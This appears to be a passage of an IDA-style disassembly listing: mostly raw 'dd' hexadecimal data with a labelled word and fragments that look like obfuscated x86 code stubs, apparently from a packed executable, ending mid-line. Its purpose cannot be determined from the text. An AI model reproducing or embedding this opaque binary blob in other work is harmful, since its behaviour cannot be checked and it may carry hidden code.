0D70F0CA0h, 0A29B9705h, 914488Ah, 0E58442Ch, 6FE5BF00h dd 6B1E4107h, 3A2A9854h, 0BEA71DA4h, 20AFh, 0E608B900h dd 1305399Dh, 0CF5BCCAAh, 41D1F1Ch, 2A58445Ah, 3ED4C432h dd 49BEA6CDh, 0D0h, 82342653h, 0FEB9AF85h, 2B8253CAh, 0ABCAA5Eh dd 32434E7h, 47D1E85Ah, 0C19794E7h, 4A201DAFh, 5442A618h dd 6D36385Dh, 0DAE0F72Ah, 29C8FEECh, 9C88041Dh, 2F94DA8Ch dd 445B3AC9h, 2B50EC76h, 65D7095Eh, 7F3123D7h, 27608E82h dd 645D8FC3h, 0AA5D5BCCh, 0FFEA5846h, 2D03BBFFh, 0B03E1016h dd 383F73D7h, 3C55DABDh, 0CF1D2589h, 0DF11197Dh, 0F2C419B0h dd 0EE417A6Fh, 0CF1DD1D7h, 0AD5F4A7Dh, 942DC4CBh, 1E5B0h dd 9C2A3A00h, 0BB095A0Eh, 0D779792Dh, 0F25E9549h, 10BAB064h dd 0B18D6F82h, 0CF8311BBh, 0ECA02E9Eh, 5B947E5h, 0B6D361D3h dd 277F9ED2h, 9B7D583Fh, 0A3FEECC5h, 0CC626EC8h, 0C5C0D0CFh dd 0AA4C63E3h, 0C87C0ABCh, 0D8962496h, 0A776AAECh, 145E2B82h dd 2B823DE0h, 0E90CBF5Eh, 69C70C36h, 96566D6Ch, 0B7055858h dd 4CCC0064h, 875BCCAAh, 0C4DB6D7Fh, 77797629h, 58445AAAh dd 2E1E8C84h, 0BEA6CD98h, 0C3A3h, 3426AD00h, 0B9AF8582h dd 5210120Fh, 2F5E2B85h, 49FD8B3Dh, 0B4A8A517h, 0F97E723Ah dd 585754F8h, 0C4EB205h, 7E8796CAh, 0EB755E2Bh, 0E0F74AFAh dd 0CC90DA12h, 0A937EA5Bh, 0EBEB3BBh, 3BFB1211h, 2E70D4B3h dd 84812B26h, 0F6A06E85h, 0FA55DB1Fh, 57F5E347h, 0FC27BC93h dd 0BEC6A2B9h, 0B2BA1EA8h, 52CBFFBEh, 0B25E1CB8h, 0B0AFACFFh dd 89DF9399h, 30570C3Fh, 0D069C4CCh, 0E5ECh, 9C2A3A00h dd 0BB095A0Eh, 0D779792Dh, 0F25E9549h, 10BAB064h, 0B18D6F82h dd 0CF8311BBh, 0ECA02E9Eh, 5B947E5h, 0B6D361D3h, 267F9ED2h dd 9B7D583Fh, 0F3E4ECC5h, 32494845h, 62F05A90h, 684DBCAEh dd 32C2430Dh, 0C7851366h, 85823426h, 0C6FABDAFh, 5E2B8257h dd 0D8FB519Eh, 806ED225h, 0C9F7D932h, 0BEC4DB6Dh, 0C35A8ED0h dd 415E2B24h, 37B7778Eh, 0E4B8EC50h, 185BC76Dh, 40926865h dd 0FB181031h, 21749F60h, 4B9DA593h, 2C80CFF9h, 0F8617315h dd 5A5956F8h, 52080A07h, 9F59DFCAh, 2D03004Ch, 558D8A26h dd 8D191583h, 687A4DBBh, 429448D6h, 0D61DF3F0h, 0E3B57D7Ah dd 0A9B06DA1h, 0A1545A1Fh, 4444E791h, 536A49C4h, 4562997h dd 2E3624B2h, 0AC49D138h, 0DC4D4A22h, 9ED07289h, 34B2F2Ch dd 0E1000000h, 3626FBCBh, 0A3B58B88h, 333E1411h, 97C69C99h dd 4522825h, 89DFB5B2h, 676C423Fh, 0FAF6CCC9h, 6E815754h dd 681AE5E2h, 1A3Bh, 68240C89h, 7AB0h, 68241489h, 5E46h dd 81242C89h, 4ECh, 241C8900h, 9D74BDBBh, 6AEB816Dh, 4B359700h dd 764AEB81h, 0EB817857h, 0B9C2AF1Ch, 815BDA89h, 4ECh dd 24248900h, 4240483h, 3481525Dh, 69531F24h, 8458F1Fh dd 531FBF57h, 7D311F69h, 2C8B5F08h, 0E6895624h, 4C681h dd 0C6830000h, 24348704h, 24148B5Ch, 81E18951h, 4C1h, 4C18300h dd 5C240C87h, 0FBEBB8E9h, 0BF0FA9FFh, 2B017321h, 0EC4617C5h dd 0EC5D1EB8h, 0FFC50305h, 0B6DC23E0h, 0DBFB3955h, 0B3B5F102h dd 54FA9668h, 3ACCF728h, 3AB50B63h, 5F8DF708h, 3F58E663h dd 79A58E0Fh, 507A595Ah, 3C9E3A27h, 830CAB73h, 0CC306A23h dd 719D8D60h, 0B805E701h, 39h, 24718589h, 0E805E7h, 58000000h dd 0D05h, 0E9038900h, 39h, 0Eh dup(77E60000h), 0C004EBFFh dd 0E9142BDCh, 4E2h, 0BC52C71Dh, 59B8E6Ch, 53E930B5h, 9E34FD03h dd 0E67CAD4Eh, 0BA4164CDh, 7589D96Fh, 2BD626BCh, 0DF207006h dd 0CEE7BC52h, 7E31FDE1h, 1A9F855Ah, 0ABF839C6h, 61F732C9h dd 0FEE7F50Ah, 0A736CE1Bh, 5491D3C3h, 39457D4Bh, 3C1E6BC6h dd 0A9B76EC3h, 0F78FDC55h, 2D7AB747h, 0D2B45D95h, 2B40128h dd 0D62938CEh, 0DD43EE11h, 23D21426h, 0FDD0DFA2h, 7E83D3C5h dd 34CD1DB3h, 30CEB0FDh, 0C10FB401h, 4CE51C2Bh, 989966B6h dd 0FAAB8A4Bh, 12745491h, 645166C4h, 5491FA80h, 1A023A08h dd 457CDB70h, 5B51h, 39C6FC00h, 3F2C41F8h, 5491D35Bh, 9B6515E3h dd 0F4B55E96h, 5491D416h, 7CC96898h, 7CC9609Ah, 2E7389D7h dd 0FA0614C5h, 0AD3BFF37h, 7CFC10BAh, 1F145h, 0BF9C0000h dd 0D3D9BDAAh, 93615491h, 0DF1702E3h, 2 dup(0B50227D3h) dd 0B7042DD3h, 2C3BD105h, 75C55BCEh, 0BC11A78Ah, 3BAA35C6h dd 492B78DEh, 572B78B1h, 0A9BB9167h, 0F985B5F1h, 97A3DB4Dh dd 0A9807B64h, 0C22801F9h, 0E23DC2Ch, 1306DFC1h, 765A475Ch dd 0FE54928Dh, 864FF830h, 3DD2331h, 928E3216h, 86ECBA54h dd 97C8A4Eh, 457C404Fh, 7E50h, 15EBF900h, 77E9CF1Ch, 6D5B07B7h dd 0CADB1379h, 0D9BDAABFh, 615491D3h, 0AC4F5B93h, 47B8C67Dh dd 6EAB3AEAh, 0A8518921h, 0ADFA1FC6h, 2231C7FBh, 6ABA50D9h dd 82974E91h, 0D8E6CF1Ch, 0D2BB0829h, 91D401E5h, 55BB8954h dd 42EF111Dh, 0D0262CF5h, 7CFAEBA5h, 4DEC45h, 0C6970000h dd 0DA57AA35h, 0E6611626h, 0F157BA75h, 0F23FC2A4h, 1E3330A5h dd 92204D31h, 0CF07D554h, 9566FD0Bh, 0BFA9FE94h, 0EE861AADh dd 37CF1C0Dh, 0B907783h, 9ED63CF5h, 74C16892h, 923AD4B3h dd 0AD3B9D54h, 7C9B10BAh, 1F145h, 0C69C0000h, 0CBADFA1Fh dd 0BB0FD34h, 0CD182FBDh, 9BCCB64Ch, 0BA8D7A31h, 425176FCh dd 0BA452774h, 6E91E177h, 0D7B576C3h, 595A7902h, 74BD42A5h dd 0DC298F27h, 0DD2A07FAh, 0BEC31909h, 283FCD7Bh, 381C09D7h dd 0C05A7903h, 0A6F68CF2h, 0C21D859h, 0E12E03FEh, 2D6BA49h dd 905E5A79h, 32CDAF58h, 8C3648FFh, 0AC907D70h, 345A795Ah dd 0E46EB266h, 0B78B346Ch, 0DD2231C7h, 0E892BE54h, 0C9409BEFh dd 167h, 50B1BF74h, 0C4FC94E1h, 0CC83F51Eh, 76F978DFh dd 3617351h, 0CB7BF35Fh, 4248B20Bh, 82E88DEAh, 216E3C4Ah dd 0BA71C03Fh, 91DE53ACh, 7FCFC1F9h, 0ECFAB180h, 35CD1A0Fh dd 8D7254FDh, 938357A4h, 0CF11EE45h, 794DFEE2h, 52B8865Ah dd 86E690BCh, 74C7409Bh, 72000000h, 0DB92E42Ch, 91D3DAEEh dd 0D6C3E254h, 5491D4F2h, 0F946AC7Ah, 91D45438h, 62772254h dd 91D49175h, 134B1954h, 91A3B94Fh, 0ED351Ch, 5492961Ch dd 6922D6A4h, 8D336B40h, 273CF345h, 9A4AE719h, 0A994CC65h dd 54928A95h, 3B718398h, 0E0F2CBE4h, 0EA5D41D0h, 17E55491h dd 4C03D1DFh, 2471C03Eh, 5062548Ch, 0A7h, 0D35EA3B1h, 0A73EEE86h dd 2C293A72h, 0EDDA91FBh, 5176DB96h, 0AB57FF11h, 0AA67A827h dd 49966472h, 3999867h, 98E54CB3h, 0C9AD9AAFh, 515A7963h dd 0F7604B83h, 6E5A7963h, 8B6F5C71h, 135A7964h, 0B3490D45h dd 40D65BA4h, 4BB2D56h, 651EFD17h, 0FEEB0057h, 6065C41Ah dd 8E9CD4A2h, 6E9173C0h, 6A9476C3h, 63987AC7h, 7FDB79C6h dd 9192D669h, 59697B62h, 0D1E380F3h, 7EBB2DCBh, 60245C07h dd 86F6218Ah, 7DC8E2CFh, 0BDCB5D51h, 0D35EA344h, 4A37206Dh dd 66522266h, 82BA20EEh, 0B910A674h, 8EDB56ABh, 2CADBEF6h dd 0EDDA91FBh, 517D8DD3h, 0EBCFBCDBh, 735A7E32h, 32836754h dd 3D0B5A7Eh, 422471D7h, 8EDE74BDh, 0B273C071h, 4B42CBA0h dd 150A6DAh, 4D9D33FEh, 806E31B2h, 1585611Eh, 3A083274h dd 2B218CEh, 51E936E3h, 0DA2634EBh, 94761F57h, 0AC857B6Ch dd 654F946h, 9A485AF0h, 1ABD6A9Eh, 17FBE89Fh, 9F6C46C1h dd 728D99D1h, 0C09D816Eh, 57256C46h, 0F40B5BF1h, 0B4CF03Dh dd 0AD000000h, 7487609Fh, 6174FB5h, 1EC61358h, 33CCAEFBh dd 32CFB1FEh, 2ED0B2FFh, 27D4B603h, 28D3B502h, 2ED2B401h dd 11D4B603h, 21D9BB08h, 686FBB08h, 7434h, 68242C89h, 4EF0h dd 68243489h, 25C6h, 50241489h, 0EC5E57B8h, 8BC68905h dd 0C4832404h, 148B5404h, 4C48324h, 8904EC83h, 0F789243Ch dd 5F087A89h, 5A2434FFh, 0FF04C483h, 815E2434h, 4C4h, 1D61E900h dd 0D04CFFFBh, 0AAB3AD0Eh, 35682132h, 0DEB8780Eh, 305EC62h dd 0DCE0FFC5h, 63325F2Bh, 0C842532Eh, 9A01DF4Ah, 5F60D30Bh dd 0F8524298h, 0AB12A80Eh, 0B0775D8Ah, 0DB54AEEAh, 5E3F4692h dd 7296BB4h, 7E344F94h, 873E4A90h, 0C0E5074h, 1F740862h dd 824E65C2h, 0E55579B4h, 14419C9Ah, 9608DFDCh, 5C6F1863h dd 0FD00CA67h, 8D46EC30h, 0EC64588Dh db 5, 89h word_594F42 dw 0A98Dh ; DATA XREF: ___:off_438100o dd 0C705E71Ah, 0E72A4D85h, 71EC05h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 8AEF54F3h dd 0D8D89E2h, 0C705E71Ah, 0E7273985h, 5, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 8267384Eh, 60EFE05Dh, 0B866F88Bh, 0FF61EFB4h, 0E71CE1B5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0F882440h, 95FFC6BFh, 5E71795h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 37C35141h, 6AF952h dd 21C195FFh, 0C08B05E7h, 40614FEBh, 0B59FDEC5h, 0C66AC7FDh dd 0A8B807C8h, 676B446Dh, 0A91D449Fh, 0E559034Eh, 0A7904CB9h dd 0E5FBAAB2h, 0B5BE2C33h, 588B3BD6h, 44374F89h, 17197CF5h dd 0A7485F2Ah, 8824407Ah, 73B6C16Ah, 6763C9ACh, 8BB8647h dd 6B29C3B8h, 0D1E7368Ah, 0B0E9E0h, 66600000h, 0C2F6DA8Ch dd 0C850F04h, 3B000000h, 0E7089985h, 36840F05h, 3B000000h dd 0E7178585h, 2A840F05h, 3B000000h, 0E72A6D85h, 1E840F05h dd 3B000000h, 0E71AE585h, 12840F05h, 83000000h, 0E711DDBDh dd 840F0105h, 5, 5FE9h, 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh dd 49840FC9h, 81000000h, 0F8C2h, 0C728B00h, 598BC803h dd 14518B1Ch, 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h dd 830FCF3Bh, 0Fh, 4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h dd 0E74D249Dh, 5B805h, 0E3FF0000h, 0D00BC361h, 314004EBh dd 37E941FFh, 34000005h, 83D369B0h, 0CC1CB277h, 1A6A0019h dd 65B54BE6h, 0E4FD9396h, 86A3587Bh, 0D35EA0F0h, 1D14ED3Dh dd 69C83787h, 0F8E5FED3h, 5A7E3914h, 0C631B69Ch, 1ED5AA39h dd 0A556A7A9h, 0EB10F23Fh, 0A758A83Eh, 3BC5D38Ah, 2C15BEF6h dd 4A530517h, 51917323h, 9239DEC2h, 60986654h, 0CF86AB54h dd 0BDF524C1h, 10C83214h, 923A3F23h, 93F9C754h, 8A609446h dd 879F44BBh, 0E3B577F6h, 449B3197h, 1865C436h, 0C53C4880h dd 6D7FD66Ch, 2815D464h, 5491F644h, 0F54AFECCh, 939FD7CDh dd 9476C36Eh, 0D57AC76Ah, 1FE27187h, 0D32C7C12h, 7150115Eh dd 3A54920Dh, 0AD5702D8h, 8E457CC6h, 6Dh, 0F839C639h, 0D40CEAABh dd 73D55491h, 0FC48F265h, 1029457Ch, 0D2000000h, 0B7A43CC4h dd 5491DFD3h, 0DA278D5Bh, 0C6F90A42h, 0DC55AB34h, 4491F78Fh dd 0DA919862h, 4ACBBAC8h, 0A259987Bh, 9242D1B5h, 538B5954h dd 0F938C8AAh, 65CC3442h, 9F488018h, 9F5C6AEDh, 788E528Ah dd 821811E9h, 0CE64CD32h, 4C976977h, 318FA64h, 0A3DB4120h dd 0F435C692h, 9DACBEA7h, 957F7180h, 0E119255Dh, 3727FB48h dd 0C06992A1h, 0C25DA2Ah, 1108DDBFh, 0E7F5FBC4h, 7C98DA74h dd 18051A45h, 54924034h, 44B6EEBCh, 8Ah, 0A635C6EFh, 0E67F2C8Fh dd 0C77EE452h, 0AA53DAB5h, 0B431201h, 6A658062h, 785C4997h dd 5492B8h, 0E77FCC32h, 4E823481h, 8652A9B8h, 92B8B599h dd 96F3D54h, 51D82373h, 53DE2204h, 0BC6D8E9Ch, 0F69FD76Fh dd 0A6D1272Dh, 457C1FECh, 6CBD3E4Ch, 5DC234h, 0C66D0000h dd 0BEA7F435h, 0ACE435B0h, 83D061A0h, 85D25FA1h, 88D55CA3h dd 0A976513h, 74C319C7h, 0B50CA287h, 0BA9E8BA0h, 425491D3h dd 0D401E574h, 0BB895491h, 0ADBF7283h, 0DC3C1048h, 0BAC6FEDDh dd 0DB9CE940h, 5491FDFCh, 0E29563C5h, 457CD638h, 2E2B6678h dd 151637DBh, 16BDDh, 0C6160000h, 0CBADFA1Fh, 0BB0FD34h dd 886C596Eh, 105491D3h, 0B0460A42h, 3FD544A1h, 91702255h dd 96833AA0h, 5176FCC3h, 68C93846h, 3D4B831Bh, 0BF40226Fh dd 0B9A6BB72h, 5A7902D5h, 522415Dh, 60F762D2h, 79B04AFAh dd 6A5C942Ch, 0FF4CE51Ah, 78D3603Eh, 1118E25Ah, 151CE2C4h dd 7D523C8h, 7389377Ah, 4AC81BE4h, 0E23D3AD7h, 0B60326D5h dd 0BC52B81Eh, 519E936Ch, 54A1906Fh, 59A67372h, 5CA98877h dd 0E9369B7h, 0D76E7C6Ch, 47730928h, 409BE99Dh, 1677Eh dd 0A7152700h, 9AA9570Eh, 0BF6273ABh, 7D914AB1h, 6CAE11DDh dd 61F946ACh, 4275B2ADh, 225ACA78h, 2AE14B7Ch, 7735D63Dh dd 0BB08D651h, 750B26D9h, 0A057DA25h, 74C16892h, 19FBA4DCh dd 1CFE4BE6h, 19024FE2h, 793C482Ch, 5202D05Ah, 8F3481A8h dd 44E6AB41h, 93A88654h, 793CC2A6h, 447C4A5Ah, 3A1CC738h dd 4158CA26h, 527E147Ah, 409B4AA8h, 0E0BDAE8h, 7FF129C1h dd 6Ah, 92E42C2Ah, 0D3DAEEDBh, 14E25491h, 0D52206C7h, 45F05491h dd 0B266C337h, 82D14F3Dh, 0C488C0CCh, 16031836h, 54920F32h dd 0EB4ECBAh, 0A8BD74FAh, 403C4C96h, 6B3C1C3h, 629044B7h dd 279112BEh, 9021B265h, 0F307F22Ah, 0F65492A9h, 0DE1613E8h dd 0E0C4B1D0h, 685492AAh, 6B7D349Ah, 0DE9968E5h, 0D2C4FC42h dd 83C0h, 0FB2C2300h, 96EDDA91h, 165176DBh, 0E619FB48h dd 9A65B54Bh, 4F614A97h, 7331615Dh, 2E1951D9h, 5A7901C5h dd 0E9788E3Ch, 2E851B16h, 14EDB20h, 588B3169h, 494C39F0h dd 515764E5h, 3CBECC83h, 0D008A0EDh, 3C293E27h, 60656758h dd 0CEDA12E0h, 0EB30031h, 56812AC0h, 64CA5F9Ch, 968398ADh dd 606567B2h, 67644835h, 1EEC6065h, 0DEE9E6Ch, 0F6F9E41Ch dd 0FE5D514Ah, 72677930h, 78690262h, 0EC41336Bh, 0DA91FB2Ch dd 7DB6EAEDh, 6D24F251h, 39876B58h, 410F5A7Eh, 817E6009h dd 35CA1AB0h, 88EEAFFCh, 0BA166EEFh, 51352237h, 0D99E9195h dd 8CA55B0Bh, 0EB7A9054h, 37871D14h, 331C69C8h, 5C82A821h dd 936D3C95h, 0F400389Eh, 33D8250Ch, 0BF4017E5h, 0F359D828h dd 3FF20D5Dh, 34EF2h, 58B10000h, 0FB1EC613h, 0FE33CCAEh dd 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h dd 811D4B6h, 821D9BBh, 89516FBBh, 7DBD55E1h, 814C413Bh dd 917EBBE5h, 0CBC58105h, 1FBFEC5h, 0E9835DE9h, 240C8704h dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h, 52243C89h dd 0C281E289h, 4, 8704EA83h, 895C2414h, 6E68241Ch, 8B05EC65h dd 0C483243Ch, 4EC8304h, 83242489h, 5B042404h, 8B951h dd 0D9010000h, 89FA8952h, 8B595A11h, 8950241Ch, 405E0h dd 0C0830000h, 24048704h, 243C8B5Ch, 81E28952h, 4C2h, 4C28100h dd 87000000h, 0E95C2414h, 0FFFB15EFh, 0ABA71F97h, 5B8E5C1h dd 305EC6Ah, 5BE0FFC5h, 791AA8C2h, 9227DD13h, 8D0F0396h dd 0EC6BB48Dh, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 4E708943h, 7EBF6664h dd 8D893A0Fh, 5E71AA9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 1EC35343h, 297B7912h, 0E717E5BDh, 0F5BD8B05h dd 0C705E701h, 0E72A4D85h, 62BC05h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 30F5D0F9h dd 0C13B34F3h, 85C7F815h, 5E72739h, 0 dd 0FFFB8B66h, 0E72411B5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 42EE943Bh dd 6E9C677h, 9000000h, 75CE074h, 9595FF9Ch, 6A05E717h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0A795C357h, 666115A1h, 6AC28Bh, 21C195FFh dd 0C08B05E7h, 29422EEBh, 5CDD6FD4h, 0AC372752h, 6FAC79ADh dd 64187145h, 0A35E1FB8h, 52109AEBh, 2E2F5EF3h, 61B5DB1Dh dd 10D4BCF2h, 2281360Ch, 0A329DCCh, 0DE4A04EBh, 0D7E923A2h dd 0B8000005h, 757ED2Ch, 50A036F3h, 9EEE8495h, 0E939CF62h dd 68811712h, 0A1FDCFFh, 57DA2474h, 0A19071C1h, 0ED44BB0Bh dd 7C698257h, 5A7E3E98h, 0C6B53A20h, 0E051AE39h, 0FC62CF30h dd 0FB2ECDAFh, 47EA1565h, 4AE718FAh, 0DF1BFDh, 4AE22FFAh dd 0B1E597E4h, 3EF30C5Bh, 64D47587h, 19A09A8h, 94CC32FFh dd 82AF52A2h, 938095ECh, 549240AFh, 25316937h, 260855DCh dd 670C59D8h, 8D74C319h, 41BE0EA4h, 3E2A3F0h, 0CC549241h dd 3FE99C6Ah, 20457C91h, 6Dh, 0EE43BBC9h, 39C6A5B6h, 0CEAABF8h dd 8E5491D4h, 9274C170h, 479C653h, 92FB8056h, 5AFDA30h dd 0E6457CFCh, 1, 0F534C691h, 0F534C6A8h, 583C293Eh, 0E05491D3h dd 4F31DA12h, 813380B1h, 18FCE9FEh, 0A05491D4h, 0D69AD2h dd 0CA60C931h, 46956573h, 0DB7E558Eh, 4693F9E8h, 956A76AEh dd 0A1AF069Ch, 0BA778760h, 376F0754h, 0F435C626h, 5FD22F3Dh dd 80957E27h, 91D3AF93h, 2B183754h, 5491D347h, 639B01CFh dd 0CF86A357h, 0BDF524C1h, 2 dup(61C83214h), 0D82E6214h dd 0AB4131D3h, 7F805F9Ch, 788365B2h, 66CC64B1h, 0E51A6A00h dd 7887954Ch, 9CD46CB9h, 45D411F3h, 0CCDA2FF8h, 19B1FE33h dd 9CCF1DE1h, 457CFAE2h, 89E3h, 35C68E00h, 8BD851AAh, 0C4D68DF3h dd 0EFA4B0Ah, 6B144C3Ch, 86F5C89h, 0B5E2FC31h, 4B2D7AE0h dd 4E307DB4h, 4F358297h, 0AA77C787h, 0E03CA8A8h, 0D105850Ah dd 5ACF2C3Bh, 0A28774C4h, 0A48D7355h, 7EBD8EDh, 8F549233h dd 17E089C1h, 0E64BB4C2h, 691CEAAEh, 457CA5AFh, 51B0h dd 0B1BF5B00h, 9BA7DF4Ah, 9A7CC960h, 0A88C7967h, 305491D3h dd 3045FC62h, 451D822h, 0D3F9DD6Ch, 0B3815491h, 0AF5DD27Bh dd 38F10A59h, 34C64DA2h, 0D0303EF5h, 0D9BDAA61h, 615491D3h dd 0F1B25B93h, 5491D412h, 0F86379DBh, 457CFC4Eh, 12Fh dd 0B1BFDA00h, 3E2BE24Fh, 5491D35Ah, 0D0DC14E2h, 0D5B70415h dd 15BA072Ah, 49976A78h, 91D3785Ch, 0CC320054h, 243AD094h dd 73D88312h, 0E46F904h, 0A036E302h, 14D18DB6h, 0FBE89F05h dd 51770B28h, 0B395E2B0h, 0A07B974Ch, 3B67190Bh, 10EF3FD5h dd 68556A21h, 5A796384h, 64361A07h, 0F0BE5A79h, 8F38703Eh dd 0C66398A6h, 0BFA39079h, 475A7963h, 0F0DB1379h, 5A796412h dd 0AE855301h, 0FA4AE051h, 0FDDF2C05h, 0E22F02h, 3E532FFh dd 72E734FDh, 0C76936C4h, 0A2867388h, 2A5A7963h, 8A60245Ch dd 5CA344BBh, 0AAB86FD5h, 0F48CD950h, 6173CABCh, 37240357h dd 5A79C753h, 60590DDBh, 422A622Ah, 409B2198h, 19979h dd 0FB2C2400h, 86EDDA91h, 865176F9h, 76896BB8h, 57A48D71h dd 3DEC0FBFh, 5CF258F0h, 2908F705h, 519444DCh, 0ABE37BC8h dd 1AD1609Fh, 341805h, 9DBC5A79h, 78FFCCB0h, 2086545Ah dd 41563FE8h, 997FE52Fh, 8B1A5738h, 5A7973A7h, 3F23102Fh dd 0C75A7974h, 4F5B93F9h, 69C837B0h, 2AD4841Ch, 8054A107h dd 5BE2F41h, 0C99D354Eh, 0AE6E709Eh, 0E46ACEAh, 909EBC4Ah dd 0EB14C455h, 0FD020E46h, 0B61C15EAh, 0E14AF420h, 758A409Bh dd 0FC8F7360h, 49175A78h, 78FCD6BAh, 886C595Ah, 105A78FCh dd 8AC29042h, 5518h, 0BFACC100h, 5A78FCDBh, 4C5D9563h dd 0C544E42Ch, 5670B9F0h, 2035EC52h, 0F845EC12h, 0FA47EA16h dd 0D9C4FC62h, 549274C5h, 0F1B2FFCDh, 5492760Dh, 0D3697FDBh dd 75EDD1BEh, 0A7755492h, 2F81C96Fh, 75778B78h, 0B17F5492h dd 4AB6C41Bh, 0CA029AE7h, 9DFCh, 0FB2C5F00h, 1278B947h dd 7EB34D5Bh, 0D3F6DAC7h, 0B07E5491h, 21786578h, 0A15176DBh dd 8F9D86D3h, 0DD75C26Fh, 2961B82Dh, 0B94FE21Dh, 4E9B9669h dd 78DD248Dh, 909E9B5Ah, 0DE76C36Eh, 255DCC2Eh, 43BC8B61h dd 456E58EEh, 0F00E1CD3h, 245CF441h, 0DEEFC11h, 82F9E41Ch dd 7D5764C3h, 509D8C6Fh, 0A47280B8h, 568A7557h, 4259B244h dd 19A8A4AAh, 60652735h, 3C89EFBDh, 3E8BA65Ah, 408DA45Ch dd 0FF8C5A8Eh, 0FFA83E8Ch, 49E01AD4h, 0C83F2CE3h, 0C35D510Bh dd 98E54CB5h, 0ECBAC800h, 0FB2C0156h, 0B7C5DA91h, 0D0499C43h dd 4D85EB83h, 7DB8EB62h, 0D01DEB51h, 8A2011EEh, 1F6CC53Ah dd 0EC132136h, 0D160F845h, 5A7E3FEDh, 90F3A775h, 5AA264EEh dd 557D68A0h, 778CC2Ah, 0A5847684h, 0FD53A96Dh, 3117FBE8h dd 0D19F80CDh, 71728D99h, 1746C3B6h, 0F8BBE7AEh, 0B20C94Bh dd 52A93FA5h, 0C175BC44h, 0D8333443h, 0B6C2FA0Ah, 1F31E849h dd 2BDD9E29h, 48F12964h, 984D9A66h, 0F9DDCA81h, 8180CD66h dd 5B004DB3h, 9768FF0Dh, 4BB4049Ah, 2D1A2FE6h, 80CD6649h dd 874F03D1h, 2591773Eh, 0E9D27BB3h, 0BD0A1FDBh, 31FED25h dd 82000000h, 1EC61358h, 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh dd 27D4B603h, 28D3B502h, 2ED2B401h, 11D4B603h, 21D9BB08h dd 506FBB08h, 0BB53E089h, 1AAF7DC4h, 0DBF7DBF7h, 7E3C14Bh dd 0E184F381h, 0D80157BEh, 4E8835Bh, 5C240487h, 7A7E68h dd 24348900h, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 68240489h dd 68E1h, 0BB241C89h, 2FC80DA0h, 1CDFE381h, 0F3810E15h dd 0BEC6772h, 545BDE89h, 8324048Bh, 0BD6804C4h, 89000002h dd 408F2434h, 24048B08h, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 5E2434FFh, 4C481h, 0C8E90000h, 4BFFFB0Eh, 3AB892C8h dd 305EC71h, 0A4E0FFC5h, 5420026Eh, 0AE557EF1h, 6B38971Bh dd 310372E8h, 7E4602ABh, 893C1752h, 65239B7Ah, 0E8336C51h dd 0Ch, 165DF0CCh, 31BD1625h, 0B7515698h, 38E0Fh, 0DE800000h dd 6E85F5Eh, 0CE000000h, 0BA40B02Ah, 3880F2Ah, 66000000h dd 8158D68Bh, 7033C7h, 2810F00h, 0B3000000h, 1BE368D4h dd 66600000h, 0F3C0EF81h, 61DEB70Fh, 0A6F0815Eh, 0FF7C84AAh dd 2FDB8137h, 5931D8DDh, 9E9h, 0C0446400h, 621A92D0h, 0E981279Eh dd 71162B4Ah, 47EB8166h, 0AEE981A8h, 8041FF79h, 0C18181F2h dd 277342C1h, 0F28AE281h, 0B25171FCh, 52078F39h, 0F047CA81h dd 835A158Fh, 4FF802EFh, 0BD65BA4Fh, 0EE833B7Ch, 0A8850F01h dd 66FFFFFFh, 0EB04AABAh, 60h, 17h dup(0) dd 0BA6E900h, 9AE90000h, 6800000Bh, 5EC7B16h, 0FB0D76E9h dd 7C5B68FFh, 6CE905ECh, 68FFFB0Dh, 5EC7CC7h, 0FB0D62E9h dd 27F2F2FFh, 70B94191h, 0BE5B8ADAh, 928D828h, 51D82373h dd 1639A2BBh, 5EAE44E5h, 0ABFB91A0h, 0F545DB56h, 0BC91270Ah dd 46D2B6A3h, 745A5A7Eh, 0C31CDFEDh, 0EA6F33Eh, 0FC35BA8h dd 10B821C4h, 0E9FA32A4h, 0D9BDAABFh, 615491D3h, 0AF4F5B93h dd 66CAD38h, 694D3A4Fh, 0F15491D3h, 2CC058D5h, 359BE3B9h dd 15B354FDh, 62B248E9h, 6547949Dh, 6648959Ch, 6A4C9998h dd 694B9891h, 0D2E09792h, 1CB40128h, 0A7593BE4h, 42543D8Ah dd 0B627592h, 5114958h, 3EC39E0h, 0D8250CF5h, 0FEFC0840h dd 3162DE2Bh, 0EB2310C7h, 66517E51h, 0D0DB3C54h, 99D189F3h dd 0A68B738Bh, 0A45BC159h, 857B6496h, 61C75FACh, 725F74CBh dd 5A7F518Eh, 6A104816h, 2D1AD127h, 5A7F5155h, 3B5007D5h dd 7F516A4Eh, 6D24F25Ah, 7F519C80h, 1E56245Ah, 0C56C9375h dd 39C6DA2Fh, 402943F8h, 0EAFE192Eh, 91DD19FDh, 1FD3A154h dd 5D9553B7h, 8FF92C4Ch, 7489E0DAh, 0D38E725Fh, 48165491h dd 91D3D5B9h, 9B515B54h, 77295525h, 0AEBFF7C5h, 7CF050EAh dd 17E9046h, 0DF4FF56Eh, 5E9D68Dh, 8D5791FCh, 4E1587BFh dd 0BE000000h, 2AF72ACh, 0DA8E7DFEh, 0F0D6AA9Fh, 45568EF4h dd 0DA8FF92Ch, 0A895AABFh, 5491D3C4h, 0D3765A47h, 30FE5491h dd 8D78B07Eh, 5491D3A9h, 0BFAE6331h, 3EF398AAh, 70AB9C83h dd 0C1756C57h, 4F871845h, 0F534C63Eh, 46DFE40h, 25h, 8FF92C67h dd 9CAABFDAh, 0FA257E65h, 0C9E58BD9h, 